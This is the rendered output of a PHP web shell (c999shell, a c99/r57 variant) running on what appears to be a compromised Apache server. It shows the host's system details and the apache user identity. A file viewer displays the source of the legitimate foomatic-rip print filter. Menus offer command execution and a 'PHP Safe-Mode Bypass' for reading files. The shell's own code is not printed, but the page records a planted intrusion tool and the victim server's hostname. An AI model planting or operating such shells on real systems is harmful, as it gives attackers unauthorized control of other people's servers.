Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: foomatic-rip (199.44 KB) -rwxr-xr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | #!/usr/bin/perl # The above Perl path may vary on your system; fix it!!! -*- perl -*- use strict; use POSIX; use Cwd; my $ripversion='$Revision: 3.43.2.15 $'; #'# Fix emacs syntax highlighting # foomatic-rip is a spooler-independent filter script which takes # PostScript as standard input and generates the printer's page # description language (PDL)/raster format as standard output. This # kind of filter is usually called Raster Image Processor (RIP), # therefore the name "foomatic-rip". # Save it in one of the directories of your $PATH, so that it gets # found when called from the command line (for spooler-less printing), # link it to spooler-specific directories when you use CUPS or PPR: # ln -s /usr/bin/foomatic-rip /usr/lib/cups/filter/ # ln -s /usr/bin/foomatic-rip /usr/lib/ppr/lib/ # ln -s /usr/bin/foomatic-rip /usr/lib/ppr/interfaces/ # Mark this filter world-readable and world-executable (note that most # spoolers run the print filters as a special user, as "lp", not as # "root" or as the user who sent the job). # See http://www.linuxprinting.org/cups-doc.html # http://www.linuxprinting.org/lpd-doc.html # http://www.linuxprinting.org/ppr-doc.html # http://www.linuxprinting.org/pdq-doc.html # http://www.linuxprinting.org/direct-doc.html # http://www.linuxprinting.org/ppd-doc.html # ========================================================================== # # User-configurable settings, edit them if needed # # ========================================================================== # What path to use for filter programs and such. Your printer driver # must be in the path, as must be the renderer, $enscriptcommand, and # possibly other stuff. The default path is often fine on Linux, but # may not be on other systems. # my $execpath = "/usr/bin:/usr/local/bin:/usr/bin:/bin"; # CUPS raster drivers are searched here my $cupsfilterpath = "/usr/lib/cups/filter:/usr/local/lib/cups/filter:/usr/local/libexec/cups/filter:/opt/cups/filter:/usr/lib/cups/filter"; # Location of the configuration file "filter.conf", this file can be # used to change the settings of foomatic-rip without editing # foomatic-rip. itself. This variable must contain the full pathname # of the directory which contains the configuration file, usually # "/etc/foomatic". # Some versions of configure do not fully expand $sysconfdir my $prefix = "/usr"; my $configpath = "/etc/foomatic"; # For the stuff below, the settings in the configuration file have priority. # Set to 1 to insert postscript code for page accounting (CUPS only). my $ps_accounting = 1; my $accounting_prolog = ""; # Enter here your personal command for converting non-postscript files # (especially text) to PostScript. If you leave it blank, at first the # line "textfilter: ..." from /etc/foomatic/filter.conf is read and # then the commands given on the list below are tried, beginning with # the first one. # You can set this to "a2ps", "enscript" or "mpage" to select one of the # default command strings. my $fileconverter = ""; my($kid0,$kid1,$kid2,$kid3,$kid4); my($kidfailed,$kid3finished,$kid4finished); my($convkidfailed,$dockidfailed,$kid0finished,$kid1finished,$kid2finished); my($fileconverterpid,$rendererpid,$fileconverterhandle,$rendererhandle); my($jobhasjcl); # What 'echo' program to use. It needs -e and -n. Linux's builtin # and regular echo work fine; non-GNU platforms may need to install # gnu echo and put gecho here or something. # my $myecho = 'echo'; # Set debug to 1 to enable the debug logfile for this filter; it will # appear as defined by $logfile. It will contain status from this # filter, plus the renderer's stderr output. You can also add a line # "debug: 1" to your /etc/foomatic/filter.conf to get all your # Foomatic filters into debug mode. # # WARNING: This logfile is a security hole; do not use in production. my $debug = 0; # This is the location of the debug logfile (and also the copy of the # processed PostScript data) in case you have enabled debugging above. # The logfile will get the extension ".log", the PostScript data ".ps". my $logfile = "/tmp/foomatic-rip"; # End interesting enduser options # ========================================================================== # # foomatic-rip spooler-independent PS->Printer filter (RIP) of Foomatic # # Copyright 2002 - 2004 Grant Taylor |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]-- |